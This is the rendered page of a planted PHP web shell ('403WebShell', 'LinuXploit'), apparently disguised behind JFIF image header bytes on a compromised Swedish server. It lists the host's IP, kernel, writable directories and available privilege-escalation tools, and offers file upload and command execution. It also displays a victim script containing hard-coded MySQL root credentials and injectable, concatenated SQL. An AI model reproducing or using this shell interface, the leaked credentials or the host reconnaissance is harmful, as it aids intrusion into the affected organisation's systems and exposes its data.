????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.117.172.251
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/archive/FIX/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/icad.astacus.se/archive/FIX/fix_addcolumn.php
<?php
header('Content-Type: text/html; charset=UTF-8');
$host = 'localhost';
$dbname = 'vpa';
$username = 'root';
$password = 'root123';

try {
    $pdo = new PDO("mysql:host=$host;dbname=$dbname", $username, $password);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);



    // Hämta alla rader för den specifika mappen och inkludera FileHash i gruppering
    $query = "SELECT Filename, ParameterId, FileHash, FilePath FROM ICADARCHIVEParameterData WHERE FilePath LIKE '/var/www/icad_files/1241/archive/%' GROUP BY FileHash";
              
    $stmt = $pdo->query($query);
    $duplicateGroups = $stmt->fetchAll(PDO::FETCH_ASSOC);

    // Loop genom grupperna med dubletter
    foreach ($duplicateGroups as $group) {
        $FileHash = $group['FileHash'];
        $Filename = $group['Filename'];
        $FilePath = $group['FilePath'];
        $ParameterId = 771;
        
        
            $FilePath = mb_convert_encoding($FilePath ,'UTF-8','ISO-8859-1');
            // Radera övriga dubletter
            // Avkommentera följande kod för att radera
             $deleteQuery = "INSERT INTO ICADARCHIVEParameterData VALUES(null, '".$FileHash."','".$ParameterId."','','".$Filename."','".$FilePath."')";
            // $deleteStmt = $pdo->prepare($deleteQuery);
             //$deleteStmt->execute(['deleteId' => $deleteId]);

            echo "$deleteQuery; <br>";
     
    }


} catch (PDOException $e) {
    echo "Fel vid anslutning eller query: " . $e->getMessage();
}

Youez - 2016 - github.com/yon3zu
LinuXploit